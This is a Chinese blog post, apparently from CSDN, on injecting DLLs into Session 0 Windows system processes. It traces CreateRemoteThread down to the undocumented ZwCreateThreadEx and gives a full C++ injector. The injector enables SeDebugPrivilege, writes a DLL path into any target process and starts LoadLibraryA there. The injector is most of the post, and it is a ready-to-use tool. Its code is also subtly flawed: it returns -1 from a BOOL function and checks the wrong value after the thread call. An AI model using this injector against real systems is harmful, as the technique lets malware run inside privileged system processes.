Session注入

Session注入

在进行Dll注入的时候,我们发现没法注入一些系统进程

提示我们缺少权限或者拒绝访问,甚至干脆就是什么反应都没有

这时候我们考虑往更加底层去跟函数,我们不能再使用在用户层所给我们的函数,我们自己去寻找内核层的函数

跟进函数

首先找到我们用DLL注入编译出来的二进制文件,看看CreateRemoteThread这个api到底是怎么调入进入0环的

在这里插入图片描述

搜索到这个函数的位置之后,我们可以看见,CreateRemoteThread的引用指向了一个外部调用(粉字

然后在导入表中查看,发现其来自Kernel32.dll

在这里插入图片描述

前面我们提到过,这个dll是一个相对基础的dll,在载入pdb之后,我们可以继续寻找CreateRemoteThread函数,下面的粉字意味着又是一个外部调用

在这里插入图片描述

我在自己跟这个调用的时候,发现这个api-ms-win-core-processthreads-l1-1-0.dll 库里面并没有实际的函数定义,反而是一些类似函数表头的数据结构,而且函数在导出表里面
在这里插入图片描述

在这里插入图片描述

又查阅资料得知KERNEL32不一定是指kernel32.dll,在新版本中还有KernlBase.dll这个dll库和kernel32.dll库交替使用

在KernelBase中,果然找到了CreateRemoteThreadEx的函数

在这里插入图片描述

继续在这个函数中向下跟,在这个函数中也找到了NtCreateThreadEx的声明

在这里插入图片描述

Nt开头的函数,一看导入表,在ntdll中

在这里插入图片描述

继续往下跟,在ntdll中找到了进入内核的入口

在这里插入图片描述

在这个入口上,我们发现了ZwCreateThread,这也是另一个调用NtCreateThreadEx的入口

在这里插入图片描述

在向系统进程注入DLL时,由于注入的是SESSION0的进程,CreateRemoteThread会调用更加底层的ZwCreateThreadEx这个函数,而ZwCreateThread第七个参数CreateThreadFlags会被置为1,导致线程创建完成后一直挂起导致无法恢复线程正常的运行,导致注入失败

这时候,我们可以使用更加底层的ZwCreateThread来解决这个问题

ZwCreateThreadEx是一个未文档化的API,但是可以通过GetProcAddress来获取其地址

下面是这个API被逆向出来的结构

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);

思路

1.打开注入进程,获取进程句柄
2.在注入的进程申请内存地址
3.写入内存地址
4.获取LoadLibraryA函数地址
5.加载ntdll
6.获取ZwCreateThreadEx函数地址
7.使用 ZwCreateThreadEx 创建远线程,实现 DLL 注入
8.关闭句柄

在对Session0的注入需要拿到SE_PRIVILEGE_ENABLED权限,所以代码略有不同

普通用户

在这里插入图片描述

管理员

在这里插入图片描述

demo(ascii)

// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk = FALSE;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return fOk;
}
BOOL ZwCreateThreadExInject(DWORD PID, const char* pszDllFileName)
{
	EnableDebugPrivilege();
	HANDLE hRemoteThread;
	DWORD dwStatus = 0;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	if (hProcess == NULL)
	{
		printf("OpenProcess error : %d\n", GetLastError());
		return -1;
	}
	SIZE_T dwSize = _tcslen(pszDllFileName) + 1;
	LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT,
		PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		printf("VirtualAllocEx error\n");
		return -1;
	}
	if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize,
		NULL))
	{
		printf("WriteProcessMemory error\n");
		return -1;
	}
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	if (NULL == hNtdllDll)
	{
		printf("Load ntdll.dll error\n");
		return -1;
	}
	FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"),
		"LoadLibraryA");
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	typedef_ZwCreateThreadEx ZwCreateThreadEx =
		(typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,
		hProcess,
		(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
		printf("ZwCreateThreadEx error\n");
		return -1;
	}
	CloseHandle(hProcess);
	FreeLibrary(hNtdllDll);
}
int main(int argc, char* argv[])
{
	if (argc == 3)
	{
		//DWORD dwPid;
		//sscanf(argv[1], "%d", &dwPid);
		BOOL bRet = ZwCreateThreadExInject((DWORD)_tstol(argv[1]), argv[2]);
		//BOOL bRet = ZwCreateThreadExInject(dwPid, argv[2]);
		if (-1 == bRet)
		{
			printf("Inject dll failed\n");
		}
		else
		{
			printf("Inject dll successfully\n");
		}
	}
	else
	{
		printf("\n");
		printf("Usage: %s PID <DllPath>\n", argv[0]);
		printf("Example: %s 520 C:\\test.dll\n", argv[0]);
		exit(1);
	}
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值